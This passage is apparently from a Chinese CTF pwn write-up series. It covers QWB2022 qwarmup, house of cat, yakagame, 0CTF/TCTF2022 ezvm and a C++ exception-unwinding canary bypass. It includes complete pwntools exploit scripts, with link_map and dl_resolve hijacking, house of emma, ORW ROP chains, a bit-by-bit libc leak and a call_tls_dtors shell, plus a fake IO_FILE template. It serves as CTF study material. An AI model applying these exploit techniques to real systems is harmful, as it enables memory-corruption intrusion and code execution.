) io.close() except EOFError: flag+=j print (flag) if j=='}' : exit() io.close() break if __name__ == '__main__' : main()
0xD.QWB2022 qwarmup【任意地址写,修改link_map结构体劫持延迟绑定实现任意函数调用,house of emma】 好题,就是比赛的时候做不出来,看了大佬的wp复现一下
首先能申请一个任意大小的chunk,然后输入一个偏移offset,输入一个字节value,使chunk[offset]=value,即任意地址写。
一次写之后,会将size的低两字节赋值为0,再检查size是否为0,是的话就可以继续任意地址写,否则退出程序。
如果我们输入的size小于两字节的话,那么就可以无限任意地址写,但这样子申请到的chunk距离libc就很远,没办法往libc地址上写;而如果我们申请一个很大的chunk,比如0x30000,就可以在libc附近得到一块内存,然而这样就只能任意地址写一次。
程序剩下一个RELRO没有完全开启,这样一来got表就是可写的,函数需要经过延迟绑定才能够确定真实地址。
在dl_resolve中,主要涉及到的是link_map结构体,ret2dl的具体细节我忘记了,这里就记录一下从题目中了解到的一些信息
如何定位link_map结构体?
在rtld_global结构体中,ns_loaded就是link_map结构体指针
l_next指向的就是下一个link_map结构体。经过调试,0x7f85836982e0
就是write函数的link_map结构体。
l_addr实际上是pie的基地址
dl_resolve解析完成之后,会将函数的真实地址写入l_addr+sym.got
位置处,也就是对应函数的got表中。如果我们将l_addr改大,那么函数的真实地址也会写入往后偏移的地址。
因此我们可以利用这一机制,修改l_addr的末尾一字节,使得dl_resolve将write函数的真实地址的高4字节写入到size中,这样就会覆盖掉原有的size,如下图所示
如此一来,我们就有了无限任意地址写的机会。
然后由于write的真实地址没有写到write的got表中,所以write会一直进行dl_resolve来解析地址。
dl_resolve会调用dl_fixup函数,dl_fixup函数又会调用_dl_lookup_symbol_x
函数
这个函数的第一个参数就是要解析的函数名
sym->st_name对同一个函数而言是固定值,比如解析write函数,sym->st_name就是0x22,strtab
定义如下
1 2 3 struct link_map *l const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);#define DT_STRTAB 5
这个strtab实际上就是指向link_map结构体中的l_info数组中的下标为5的值,如下
前八字节为函数名的长度,后八字节加上sym->st_name就能找到对应的函数名。
dl_resolve是根据函数符号来确定要调用的函数的,如果我们能伪造函数名,就能够实现任意函数调用。
首先要泄露libc地址,由于程序使用的是write,write不会涉及到FILE结构体,如果我们只将IO_2_1_stdout结构体修改,并不能够泄露出libc地址。如何解决?
首先还是对IO_2_1_stdout进行修改,然后使用任意函数调用,调用IO_flush_all这个函数,随后就能够输出libc地址。
现在有了libc地址,任意地址写,任意函数调用,如何打?
采用的是house of emma,打io_cookie_write函数。如何触发?还是调用IO_flush_all,这个函数最终会调用IO_str_overflow,构造好vtable的偏移,使得调用IO_str_overflow时调用io_cookie_write,然后执行srop,exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 from pwn import *context.log_level='debug' io=process('./qwarmup' ) libc=ELF('/lib/x86_64-linux-gnu/libc.so.6' ) def write (offset,content ): for i in range (len (content)): io.send(p64(offset+i)) io.send(content[i]) io.recvuntil('Success!' ) io.send(p32(0xf0000 )) write(0x36a2d0 ,'\x70' ) write(0x30e770 ,p32(0xfbad1800 )) write(0x30e770 +0x20 +0x8 ,p8(0xff )) write(0x36a108 +0x22 ,"_IO_flush_all" ) io.send(p64(0x36a338 )) io.send(p8(0xb8 )) libc_base=u64(io.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' ))-0x21ba70 log.success('libc_base => {}' .format (hex (libc_base))) setcontext_addr=libc_base+libc.symbols['setcontext' ] pop_rdi=libc_base+0x000000000002a3e5 pop_rsi=libc_base+0x000000000002be51 pop_rdx_r12=libc_base+0x000000000011f497 pop_rax_ret=libc_base+0x0000000000045eb0 syscall_ret=libc_base+0x0000000000091396 pcop_addr=libc_base+0x00000000001675b0 ret=libc_base+0x00000000000f8b56 ''' mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]; ''' io_cookie_jumps=libc_base+0x215b80 pointer_gaurd_addr_offset=0xf1760 io_2_1_stderr_offset=0x30e690 srop_addr=libc_base-0xf3ff0 write(0x36a338 ,p8(0x78 )) write(pointer_gaurd_addr_offset,p64(0 )) write(io_2_1_stderr_offset+0x28 ,p64(0xffffffffffffffff )) write(io_2_1_stderr_offset+0xd8 ,p64(io_cookie_jumps+0x60 )) enc=((pcop_addr^0 )>>(64 -0x11 ))|((pcop_addr^0 )<<0x11 ) write(io_2_1_stderr_offset+0xe0 ,p64(srop_addr)) write(io_2_1_stderr_offset+0xf0 ,p64(enc)) payload=p64(0 )+p64(srop_addr+0x10 -0x20 ) payload+=p64(setcontext_addr+61 ) payload=payload.ljust(0xa0 -0x10 ,'\x00' ) payload+=p64(srop_addr+0xa0 )+p64(ret) payload+=p64(pop_rdi)+p64(srop_addr+0x200 )+p64(pop_rsi)+p64(0 )+p64(pop_rax_ret)+p64(2 )+p64(syscall_ret) payload+=p64(pop_rdi)+p64(3 )+p64(pop_rsi)+p64(srop_addr+0x1000 )+p64(pop_rdx_r12)+p64(0x30 )+p64(0 )+p64(libc_base+libc.symbols['read' ]) payload+=p64(pop_rdi)+p64(1 )+p64(pop_rsi)+p64(srop_addr+0x1000 )+p64(pop_rdx_r12)+p64(0x30 )+p64(0 )+p64(libc_base+libc.symbols['write' ]) payload=payload.ljust(0x200 ,'\x00' ) payload+='./flag' .ljust(0x8 ,'\x00' ) write(0 ,payload) io.send(p64(0x36a338 )) io.send(p8(0xb8 )) io.interactive()
0xE.QWB2022 house of cat 这道题在比赛的时候我用的是house of emma做出来的。预期解是一种新的攻击手法,命名为house of cat
house of cat只需要一次任意地址写,覆盖io_list_all或者stderr为一个堆地址即可,无需覆盖pointer_guard。
这个攻击手法利用的是_IO_wfile_jumps
虚表中的_IO_wfile_seekoff
函数
_IO_wfile_seekoff
源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 off64_t _IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode){ off64_t result; off64_t delta, new_offset; long int count; if (mode == 0 ) return do_ftell_wide (fp); int must_be_exact = ((fp->_wide_data->_IO_read_base == fp->_wide_data->_IO_read_end) && (fp->_wide_data->_IO_write_base == fp->_wide_data->_IO_write_ptr)); bool was_writing = ((fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) || _IO_in_put_mode (fp)); if (was_writing && _IO_switch_to_wget_mode (fp)) return WEOF; .... }
如果mode!=0
且fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
会调用_IO_switch_to_wget_mode
_wide_data
是一个_IO_wide_data
类型的结构体指针
再看到_IO_switch_to_wget_mode
的汇编
rdi是fake_IO_FILE的地址,也就是通过largebin attack写入到io_list_all或者stderr中的堆地址,我们可以控制rax,rdx,构造好堆布局,在最后call的时候调用setcontext即可,然后跳转到rsp执行orw即可。
从作者那弄来的构造模板如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 fake_io_addr=heapbase+0xb00 next_chain = 0 fake_IO_FILE=p64(0 )*6 fake_IO_FILE +=p64(1 )+p64(0 ) fake_IO_FILE +=p64(fake_io_addr+0xb0 ) fake_IO_FILE +=p64(setcontext+61 ) fake_IO_FILE = fake_IO_FILE.ljust(0x58 , '\x00' ) fake_IO_FILE += p64(0 ) fake_IO_FILE = fake_IO_FILE.ljust(0x78 , '\x00' ) fake_IO_FILE += p64(heapbase+0x1000 ) fake_IO_FILE = fake_IO_FILE.ljust(0x90 , '\x00' ) fake_IO_FILE +=p64(fake_io_addr+0x30 ) fake_IO_FILE = fake_IO_FILE.ljust(0xB0 , '\x00' ) fake_IO_FILE += p64(0 ) fake_IO_FILE = fake_IO_FILE.ljust(0xC8 , '\x00' ) fake_IO_FILE += p64(libcbase+0x2160c0 +0x10 ) fake_IO_FILE +=p64(0 )*6 fake_IO_FILE += p64(fake_io_addr+0x40 )
可以通过FSOP或者malloc_assert来触发攻击,FSOP最后会调用IO_str_overflow,malloc_assert最后会调用_IO_new_file_xsputn。
0xF.QWB2022 yakagame 比赛时因为c++太差,一个功能点没逆明白,没做出来,看了大佬的wp之后发觉自己就差那临门一脚了。
一道llvmpwn,难度并不算大,yaka.so中实现了一个打boss的功能
入口函数必须为gamestart
接着如果匹配到fight函数,则需要一个参数index,如果weapon[index]>boss,就将score赋值为weapon[index]-boss,而weapon为char类型,最大值只能为127.
如果score>0x12345678,就会触发后门函数
很明显这就是我们的目标
merge功能要有两个参数index1和index2,实现了weapon[index1]+=weapon[index2]的功能。
destroy功能将指定的weapon清零,upgrade将weapon数组都赋上一个初值。
还有以上这些功能,对cmd进行操作。
如果没有匹配到以上任何功能, 就会进入到如下的功能
这一段涉及到了C++的map库,比赛的时候我就是在这里没看太明白,现在想来当时如果查一下map的用法,写一点demo反编译一下可能就有思路了。
map和python中的dict类似,其内容都是键值对形式。
题目中map的类型是<string,char>,即键为string类型,是函数名,值为char类型,是函数的参数。进入while循环中后,会从遍历map,查找是否有值和此时的函数名相同,如果相同的话,就会将weaponlist[v33]赋值为函数的参数,如果不相同就将v33加1。需要注意的是,v33是char类型的,可以向上溢出。
score和cmd都位于weaponlist上方。
所以,可以通过这个功能实现对score和cmd的修改。
将score修改成0,然后就可以调用后门函数了,还得解决cmd的问题,cmd的初始值是一段加密后的值
上面提到的那几个奇怪的函数就是用来对这段cmd进行解码的。但还有一个更简单的方法,因为opt-8并没有开启PIE,所以我们可以直接从opt-8中找sh字符串的地址,将cmd修改为sh的地址即可。
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 void fight (int weapon) {return ;}void merge (int weapon1, int weapon2) {return ;}void destroy (int weapon) {return ;}void upgrade (int val) {return ;}void wuxiangdeyidao () {return ;}void zhanjinniuza () {return ;}void guobapenhuo () {return ;}void tiandongwanxiang () {return ;}void other000 (int unknown) {return ;}void other001 (int unknown) {return ;}void other002 (int unknown) {return ;}void other003 (int unknown) {return ;}void other004 (int unknown) {return ;}void other005 (int unknown) {return ;}void other006 (int unknown) {return ;}void other007 (int unknown) {return ;}void other008 (int unknown) {return ;}void other009 (int unknown) {return ;}void other010 (int unknown) {return ;}void other011 (int unknown) {return ;}void other012 (int unknown) {return ;}void other013 (int unknown) {return ;}void other014 (int unknown) {return ;}void other015 (int unknown) {return ;}void other016 (int unknown) {return ;}void other017 (int unknown) {return ;}void other018 (int unknown) {return ;}void other019 (int unknown) {return ;}void other020 (int unknown) {return ;}void other021 (int unknown) {return ;}void other022 (int unknown) {return ;}void other023 (int unknown) {return ;}void other024 (int unknown) {return ;}void other025 (int unknown) {return ;}void other026 (int unknown) {return ;}void other027 (int unknown) {return ;}void other028 (int unknown) {return ;}void other029 (int unknown) {return ;}void other030 (int unknown) {return ;}void other031 (int unknown) {return ;}void other032 (int unknown) {return ;}void other033 (int unknown) {return ;}void other034 (int unknown) {return ;}void other035 (int unknown) {return ;}void other036 (int unknown) {return ;}void other037 (int unknown) {return ;}void other038 (int unknown) {return ;}void other039 (int unknown) {return ;}void other040 (int unknown) {return ;}void other041 (int unknown) {return ;}void other042 (int unknown) {return ;}void other043 (int unknown) {return ;}void other044 (int unknown) {return ;}void other045 (int unknown) {return ;}void other046 (int unknown) {return ;}void other047 (int unknown) {return ;}void other048 (int unknown) {return ;}void other049 (int unknown) {return ;}void other050 (int unknown) {return ;}void other051 (int unknown) {return ;}void other052 (int unknown) {return ;}void other053 (int unknown) {return ;}void other054 (int unknown) {return ;}void other055 (int unknown) {return ;}void other056 (int unknown) {return ;}void other057 (int unknown) {return ;}void other058 (int unknown) {return ;}void other059 (int unknown) {return ;}void other060 (int unknown) {return ;}void other061 (int unknown) {return ;}void other062 (int unknown) {return ;}void other063 (int unknown) {return ;}void other064 (int unknown) {return ;}void other065 (int unknown) {return ;}void other066 (int unknown) {return ;}void other067 (int unknown) {return ;}void other068 (int unknown) {return ;}void other069 (int unknown) {return ;}void other070 (int unknown) {return ;}void other071 (int unknown) {return ;}void other072 (int unknown) {return ;}void other073 (int unknown) {return ;}void other074 (int unknown) {return ;}void other075 (int unknown) {return ;}void other076 (int unknown) {return ;}void other077 (int unknown) {return ;}void other078 (int unknown) {return ;}void other079 (int unknown) {return ;}void other080 (int unknown) {return ;}void other081 (int unknown) {return ;}void other082 (int unknown) {return ;}void other083 (int unknown) {return ;}void other084 (int unknown) {return ;}void other085 (int unknown) {return ;}void other086 (int unknown) {return ;}void other087 (int unknown) {return ;}void other088 (int unknown) {return ;}void other089 (int unknown) {return ;}void other090 (int unknown) {return ;}void other091 (int unknown) {return ;}void other092 (int unknown) {return ;}void other093 (int unknown) {return ;}void other094 (int unknown) {return ;}void other095 (int unknown) {return ;}void other096 (int unknown) {return ;}void other097 (int unknown) {return ;}void other098 (int unknown) {return ;}void other099 (int unknown) {return ;}void other100 (int unknown) {return ;}void other101 (int unknown) {return ;}void other102 (int unknown) {return ;}void other103 (int unknown) {return ;}void other104 (int unknown) {return ;}void other105 (int unknown) {return ;}void other106 (int unknown) {return ;}void other107 (int unknown) {return ;}void other108 (int unknown) {return ;}void other109 (int unknown) {return ;}void other110 (int unknown) {return ;}void other111 (int unknown) {return ;}void other112 (int unknown) {return ;}void other113 (int unknown) {return ;}void other114 (int unknown) {return ;}void other115 (int unknown) {return ;}void other116 (int unknown) {return ;}void other117 (int unknown) {return ;}void other118 (int unknown) {return ;}void other119 (int unknown) {return ;}void other120 (int unknown) {return ;}void other121 (int unknown) {return ;}void other122 (int unknown) {return ;}void other123 (int unknown) {return ;}void other124 (int unknown) {return ;}void other125 (int unknown) {return ;}void other126 (int unknown) {return ;}void other127 (int unknown) {return ;}void other128 (int unknown) {return ;}void other129 (int unknown) {return ;}void other130 (int unknown) {return ;}void other131 (int unknown) {return ;}void other132 (int unknown) {return ;}void other133 (int unknown) {return ;}void other134 (int unknown) {return ;}void other135 (int unknown) {return ;}void other136 (int unknown) {return ;}void other137 (int unknown) {return ;}void other138 (int unknown) {return ;}void other139 (int unknown) {return ;}void other140 (int unknown) {return ;}void other141 (int unknown) {return ;}void other142 (int unknown) {return ;}void other143 (int unknown) {return ;}void other144 (int unknown) {return ;}void other145 (int unknown) {return ;}void other146 (int unknown) {return ;}void other147 (int unknown) {return ;}void other148 (int unknown) {return ;}void other149 (int unknown) {return ;}void other150 (int unknown) {return ;}void other151 (int unknown) {return ;}void other152 (int unknown) {return ;}void other153 (int unknown) {return ;}void other154 (int unknown) {return ;}void other155 (int unknown) {return ;}void other156 (int unknown) {return ;}void other157 (int unknown) {return ;}void other158 (int unknown) {return ;}void other159 (int unknown) {return ;}void other160 (int unknown) {return ;}void other161 (int unknown) {return ;}void other162 (int unknown) {return ;}void other163 (int unknown) {return ;}void other164 (int unknown) {return ;}void other165 (int unknown) {return ;}void other166 (int unknown) {return ;}void other167 (int unknown) {return ;}void other168 (int unknown) {return ;}void other169 (int unknown) {return ;}void other170 (int unknown) {return ;}void other171 (int unknown) {return ;}void other172 (int unknown) {return ;}void other173 (int unknown) {return ;}void other174 (int unknown) {return ;}void other175 (int unknown) {return ;}void other176 (int unknown) {return ;}void other177 (int unknown) {return ;}void other178 (int unknown) {return ;}void other179 (int unknown) {return ;}void other180 (int unknown) {return ;}void other181 (int unknown) {return ;}void other182 (int unknown) {return ;}void other183 (int unknown) {return ;}void other184 (int unknown) {return ;}void other185 (int unknown) {return ;}void other186 (int unknown) {return ;}void other187 (int unknown) {return ;}void other188 (int unknown) {return ;}void other189 (int unknown) {return ;}void other190 (int unknown) {return ;}void other191 (int unknown) {return ;}void other192 (int unknown) {return ;}void other193 (int unknown) {return ;}void other194 (int unknown) {return ;}void other195 (int unknown) {return ;}void other196 (int unknown) {return ;}void other197 (int unknown) {return ;}void other198 (int unknown) {return ;}void other199 (int unknown) {return ;}void other200 (int unknown) {return ;}void other201 (int unknown) {return ;}void other202 (int unknown) {return ;}void other203 (int unknown) {return ;}void other204 (int unknown) {return ;}void other205 (int unknown) {return ;}void other206 (int unknown) {return ;}void other207 (int unknown) {return ;}void other208 (int unknown) {return ;}void other209 (int unknown) {return ;}void other210 (int unknown) {return ;}void other211 (int unknown) {return ;}void other212 (int unknown) {return ;}void other213 (int unknown) {return ;}void other214 (int unknown) {return ;}void other215 (int unknown) {return ;}void other216 (int unknown) {return ;}void other217 (int unknown) {return ;}void other218 (int unknown) {return ;}void other219 (int unknown) {return ;}void other220 (int unknown) {return ;}void other221 (int unknown) {return ;}void other222 (int unknown) {return ;}void other223 (int unknown) {return ;}void other224 (int unknown) {return ;}void other225 (int unknown) {return ;}void other226 (int unknown) {return ;}void other227 (int unknown) {return ;}void other228 (int unknown) {return ;}void other229 (int unknown) {return ;}void other230 (int unknown) {return ;}void other231 (int unknown) {return ;}void other232 (int unknown) {return ;}void other233 (int unknown) {return ;}void other234 (int unknown) {return ;}void other235 (int unknown) {return ;}void other236 (int unknown) {return ;}void other237 (int unknown) {return ;}void other238 (int unknown) {return ;}void other239 (int unknown) {return ;}void other240 (int unknown) {return ;}void other241 (int unknown) {return ;}void other242 (int unknown) {return ;}void other243 (int unknown) {return ;}void other244 (int unknown) {return ;}void other245 (int unknown) {return ;}void other246 (int unknown) {return ;}void other247 (int unknown) {return ;}void other248 (int unknown) {return ;}void other249 (int unknown) {return ;}void other250 (int unknown) {return ;}void other251 (int unknown) {return ;}void other252 (int unknown) {return ;}void other253 (int unknown) {return ;}void other254 (int unknown) {return ;}void other255 (int unknown) {return ;}void gamestart () { other000(233 ); other001(233 ); other002(233 ); other003(233 ); other004(233 ); other005(233 ); other006(233 ); other007(233 ); other008(233 ); other009(233 ); other010(233 ); other011(233 ); other012(233 ); other013(233 ); other014(233 ); other015(233 ); other016(233 ); other017(233 ); other018(233 ); other019(233 ); other020(233 ); other021(233 ); other022(233 ); other023(233 ); other024(233 ); other025(233 ); other026(233 ); other027(233 ); other028(233 ); other029(233 ); other030(233 ); other031(233 ); other032(233 ); other033(233 ); other034(233 ); other035(233 ); other036(233 ); other037(233 ); other038(233 ); other039(233 ); other040(233 ); other041(233 ); other042(233 ); other043(233 ); other044(233 ); other045(233 ); other046(233 ); other047(233 ); other048(233 ); other049(233 ); other050(233 ); other051(233 ); other052(233 ); other053(233 ); other054(233 ); other055(233 ); other056(233 ); other057(233 ); other058(233 ); other059(233 ); other060(233 ); other061(233 ); other062(233 ); other063(233 ); other064(233 ); other065(233 ); other066(233 ); other067(233 ); other068(233 ); other069(233 ); other070(233 ); other071(233 ); other072(233 ); other073(233 ); other074(233 ); other075(233 ); other076(233 ); other077(233 ); other078(233 ); other079(233 ); other080(233 ); other081(233 ); other082(233 ); other083(233 ); other084(233 ); other085(233 ); other086(233 ); other087(233 ); other088(233 ); other089(233 ); other090(233 ); other091(233 ); other092(233 ); other093(233 ); other094(233 ); other095(233 ); other096(233 ); other097(233 ); other098(233 ); other099(233 ); other100(233 ); other101(233 ); other102(233 ); other103(233 ); other104(233 ); other105(233 ); other106(233 ); other107(233 ); other108(233 ); other109(233 ); other110(233 ); other111(233 ); other112(233 ); other113(233 ); other114(233 ); other115(233 ); other116(233 ); other117(233 ); other118(233 ); other119(233 ); other120(233 ); other121(233 ); other122(233 ); other123(233 ); other124(233 ); other125(233 ); other126(233 ); other127(233 ); other128(233 ); other129(233 ); other130(233 ); other131(233 ); other132(233 ); other133(233 ); other134(233 ); other135(233 ); other136(233 ); other137(233 ); other138(233 ); other139(233 ); other140(233 ); other141(233 ); other142(233 ); other143(233 ); other144(233 ); other145(233 ); other146(233 ); other147(233 ); other148(233 ); other149(233 ); other150(233 ); other151(233 ); other152(233 ); other153(233 ); other154(233 ); other155(233 ); other156(233 ); other157(233 ); other158(233 ); other159(233 ); other160(233 ); other161(233 ); other162(233 ); other163(233 ); other164(233 ); other165(233 ); other166(233 ); other167(233 ); other168(233 ); other169(233 ); other170(233 ); other171(233 ); other172(233 ); other173(233 ); other174(233 ); other175(233 ); other176(233 ); other177(233 ); other178(233 ); other179(233 ); other180(233 ); other181(233 ); other182(233 ); other183(233 ); other184(233 ); other185(233 ); other186(233 ); other187(233 ); other188(233 ); other189(233 ); other190(233 ); other191(233 ); other192(233 ); other193(233 ); other194(233 ); other195(233 ); other196(233 ); other197(233 ); other198(233 ); other199(233 ); other200(233 ); other201(233 ); other202(233 ); other203(233 ); other204(233 ); other205(233 ); other206(233 ); other207(233 ); other208(233 ); other209(233 ); other210(233 ); other211(233 ); other212(233 ); other213(233 ); other214(233 ); other215(233 ); other216(233 ); other217(233 ); other218(233 ); other219(233 ); other220(233 ); other221(233 ); other222(233 ); other223(233 ); other224(233 ); other225(233 ); other226(233 ); other227(233 ); other228(233 ); other229(233 ); other230(233 ); other231(233 ); other232(0xec ); other233(0xfd ); other234(0x6f ); other235(0 ); other236(0 ); other237(0 ); other238(0 ); other239(0 ); other240(0 ); other241(0 ); other242(0x40 ); other243(233 ); other244(233 ); other245(233 ); other246(233 ); other247(233 ); other248(233 ); other249(233 ); other250(233 ); other251(233 ); other252(233 ); other253(233 ); other254(233 ); other255(233 ); other232(0xec ); other233(0xfd ); other234(0x6f ); other240(0 ); other241(0 ); other242(0x40 ); fight(0 ); }
0x10.0CTF/TCTF2022 ezvm 【虚拟机逆向,侧信道泄露数据,任意地址写】
一道可以多次输入的vmpwn
vm的结构体大概如下
1 2 3 4 5 6 7 8 9 10 11 struct vm { char *code; int64_t *memory; int64_t *stack ; int64_t codesize; int64_t memcnt; int64_t regs[4 ]; int64_t rip; int64_t rsp; };
在这里,当输入类似0x2000000000000020
的mem_cnt
时,后续申请到的memory大小就为0x100
在执行opcode时,0x15功能点处检查内存是否越界依然使用的是一开始输入的mem_cnt,因此存在越界写,可以将寄存器中的数据写到任意内存中。而在0x16功能点处的内存读功能则由于v8 >= 8 * vmx.memcnt / 8
的处理,失去了越界读的效果,所以题目的漏洞就在于0x15功能点的越界写。
当opcode大于0x17时,会输出what???
,可以根据这个构造盲注来泄露libc地址
首先将libc地址push到栈上,然后将1<<i(5<=i<40)
也push到栈上
然后通过0x9的按位与功能
检测该位是否为1,如果为1的话就执行一个错误的opcode,输出what???
,如果为0的话就跳转回code开头,继续测试下一位是否为1,由此可以一位一位地得到libc地址。代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 leak=0 for i in range (5 ,40 ,1 ): print ("leaking bit" +str (i)+':' +str (bin (1 <<i))) code=p8(0x16 )+p8(0 )+p64(0 ) code+=p8(0 )+p8(0 ) code+=p8(0x14 )+p8(1 )+p64(1 <<i) code+=p8(0 )+p8(1 ) code+=p8(0x9 ) code+=p8(0x10 )+p64(1 ) code+=p8(0x18 )+p8(0x17 ) io.recvuntil('size:\n' ) io.sendline(str (len (code))) io.recvuntil('memory count:\n' ) io.sendline('256' ) io.recvuntil('code:\n' ) io.sendline(code) data=io.recvuntil('finish!\n' ,drop=True ) if 'what' in data: leak|=(1 <<i) leak|=0x7f0000000000
opcode为0x10时,操作如下
这里检查栈顶是否为0,不为0的话就继续往下执行,为0的话就跳转到v12继续执行。v12为当前指令的地址加上一个偏移量。
拿到libc地址后,再加上任意地址写,随便怎么打都可以,这里采用打call_tls_dtors
来getshell
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 from pwn import *context.log_level='debug' io=process('./ezvm' ) libc=ELF('./libc-2.35.so' ) io.recvuntil('Welcome to 0ctf2022!!\n' ) io.sendline('lock' ) io.recvuntil('size:\n' ) io.sendline('38' ) io.recvuntil('memory count:\n' ) io.sendline('256' ) code=p8(0x17 )+p8(0xff )*36 io.recvuntil('code:\n' ) io.sendline(code) io.recvuntil('continue?\n' ) io.sendline('y' ) leak=0 for i in range (5 ,40 ,1 ): print ("leaking bit" +str (i)+':' +str (bin (1 <<i))) code=p8(0x16 )+p8(0 )+p64(0 ) code+=p8(0 )+p8(0 ) code+=p8(0x14 )+p8(1 )+p64(1 <<i) code+=p8(0 )+p8(1 ) code+=p8(0x9 ) code+=p8(0x10 )+p64(1 ) code+=p8(0x18 )+p8(0x17 ) io.recvuntil('size:\n' ) io.sendline(str (len (code))) io.recvuntil('memory count:\n' ) io.sendline('256' ) io.recvuntil('code:\n' ) io.sendline(code) gdb.attach(io) pause() data=io.recvuntil('finish!\n' ,drop=True ) if 'what' in data: leak|=(1 <<i) leak|=0x7f0000000000 log.success('leak => {}' .format (hex (leak))) libc_base=leak-0x219ce0 system_addr=libc_base+libc.symbols['system' ] binsh_addr=libc_base+libc.search('/bin/sh\x00' ).next () tls_dtor_list_addr=libc_base-0x28c0 -0x58 log.success('libc_base => {}' .format (hex (libc_base))) log.success('system_addr => {}' .format (hex (system_addr))) log.success('binsh_addr => {}' .format (hex (binsh_addr))) size = 0x2000000000030000 io.recvuntil('size:\n' ) io.sendline('100' ) io.recvuntil('memory count:\n' ) io.sendline(str (size)) code=p8(0x15 )+p8(0 )+p64(0x302ec ) enc=((system_addr^0 )>>(64 -0x11 ))|((system_addr^0 )<<0x11 ) code+=p8(0x14 )+p8(1 )+p64(enc) code+=p8(0x14 )+p8(2 )+p64(binsh_addr) code+=p8(0x14 )+p8(3 )+p64(libc_base+0x220000 ) code+=p8(0x15 )+p8(3 )+p64(0x302db ) code+=p8(0x15 )+p8(1 )+p64(0x747fe ) code+=p8(0x15 )+p8(2 )+p64(0x747ff ) io.recvuntil('code:\n' ) io.sendline(code) io.recvuntil('continue?\n' ) io.sendline('bye bye' ) io.interactive()
这是一道考察c++知识点的题目
有这么些功能,还有一个额外的功能
从/dev/urandom
中读取0x30个字节,然后再从标准输入读取0x250个字节到password,然后再从password中查找是否有刚刚读取的那0x30个随机数,如果有的话就输出一个.text段的地址,可以得到程序加载的基地址。
在这里进行查找使用的是strstr
函数,这个函数会被\x00
截断掉,所以如果随机数的开头是\x00
就可以绕过检查,那么,随机读取0x30个字符,开头为\x00
的几率有多大,可以使用下面的程序来测试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 #include <stdio.h> int main () { char buf[64 ]; int count = 0 ; while (1 ){ memset (buf, 0 , 64 ); int fd = open("/dev/urandom" , 0 ); if ( fd < 0 ) { puts ("Error!" ); exit (0 ); } read(fd, buf, 0x30 uLL); close(fd); if (buf[0 ] == 0 ){ printf ("%d: found: %d\n" , count, buf[0 ]); return 0 ; }else { printf ("%d: failed: %d\n" , count++, buf[0 ]); } } }
至多几百次,至少十来次即可得到开头为\x00
的随机数,所以我们只需要多次运行这个程序就有几率绕过检查。
在tool2的func2功能中,存在一个整数溢出漏洞
这里的num可以为负数,在read_str函数中
每次将num减一,当num为0时退出read_str函数,如果我们输入的值为负数,那么就可以实现一个无限读取。
读取key,如果key的长度不为16,就会抛出一个异常。这里涉及到c++的异常抛出捕获机制
在IDA的汇编代码处可以看到try和catch关键字,在伪代码中看不到
整个tool2函数都在try的代码块中,即tool2中的异常将会被捕获。在异常被抛出捕获且正确处理后,为了所有生命期已结束的对象都会被正确地析构,它们所占用的空间会被正确地回收,会触发栈回退(Stack Unwind)机制。
由于在func2中抛出的异常没有相应的catch来捕获异常,所以会触发栈回退顺着函数调用链往上,直到有catch来捕获异常
在tool2中存在catch,func2中的异常会在tool2中被捕获,异常处理结束之后,会执行add rsp, 18h,pop rbx,pop rbp,ret
,而不是func2的返回语句,这样一来就跳过了canary的检查。
